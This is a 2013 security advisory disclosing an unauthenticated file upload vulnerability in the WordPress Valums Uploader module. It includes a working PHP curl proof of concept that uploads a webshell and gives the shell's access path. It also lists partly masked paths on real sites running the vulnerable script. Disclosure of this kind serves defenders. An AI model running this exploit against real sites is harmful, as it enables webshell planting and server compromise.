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Wordpress Valums Uploader - File Upload Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Tue, 22 Jan 2013 16:28:37 +0100

Title:
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Wordpress Valums Uploader - File Upload Vulnerability


Date:
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2013-01-04


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=817


VL-ID:
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817


Common Vulnerability Scoring System:
====================================
7.5


Abstract:
=========
The independent laboratory researcher (jingo-bd) discovered a remote file upload vulnerability in the Wordpress `Valums 
Uploader` application.


Report-Timeline:
================
2013-01-04:     Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A file upload vulnerability is detected in the Wordpress `Valums Uploader` application module.
The vulnerability allows remote attackers to upload files like webshells and co. to unauthorized access them after 
the upload to compromise the application system.

The vulnerability is located in the valums uploader module when processing to request for uploads via POST.
Attackers can unauthorized upload own files to compromise the web application or system dbms.

Exploitation of the file upload vulnerability requires no user interaction and can be processed without privileged 
application user account. Successful exploitation of the remote file upload vulnerability results in system and dbms 
compromise.

Vulnerable Module(s):
                        [+] Valums Uploader


Proof of Concept:
=================
The remote vulnerability can be exploited by remote attackers without required user interaction and without privileged 
application user account.
For demonstration or reproduce ...

<?php

$uploadfile="bangla.php"; 
$ch =
curl_init("http://localhost/wordpress/VALUMS_UPLOADER_PATH/php.php";);
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access: http://localhost/wp-content/uploads/2013/01/bangla.php


Reference(s): 
                http://www.xxx.ca/wp/wp-content/themes/lightspeed/framework/_scripts/valums_uploader/php.php
                http://www.xxx.co.uk/wp-content/themes/eptonic/functions/jwpanel/scripts/valums_uploader/php.php
                http://www3.xxx.com/v2/wp-content/themes/nuance/functions/jwpanel/scripts/valums_uploader/php.phps


Risk:
=====
The security risk of the unauthorized shell upload exploit is estimated as high(+).


Credits:
========
JingoBD - (http://facebook.com/bdcyberarmy)
Greetz: ManInDark,Rex0Man,Evil AXE,Bedu33n,NEEL,AXIOM, All Of My BCA Friends and BANGLADESHI Hacker Team.


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